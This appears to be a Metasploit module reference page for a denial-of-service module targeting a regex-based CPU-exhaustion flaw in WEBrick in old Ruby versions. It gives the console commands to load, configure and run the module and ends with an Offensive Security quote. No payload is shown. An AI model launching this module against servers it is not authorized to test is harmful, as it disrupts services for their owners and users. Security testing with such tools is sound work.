The WEBrick::HTTP::DefaultFileHandler in WEBrick in Ruby 1.8.5 and earlier, 1.8.6 to 1.8.6-p286, 1.8.7 to 1.8.7-p71, and 1.9 to r18423 allows for a DoS (CPU consumption) via a crafted HTTP request.
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use auxiliary/dos/http/webrick_regex
msf auxiliary(webrick_regex) > show actions
...actions...
msf auxiliary(webrick_regex) > set ACTION < action-name >
msf auxiliary(webrick_regex) > show options
...show and set options...
msf auxiliary(webrick_regex) > run
Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
– Jim O’Gorman | President, Offensive Security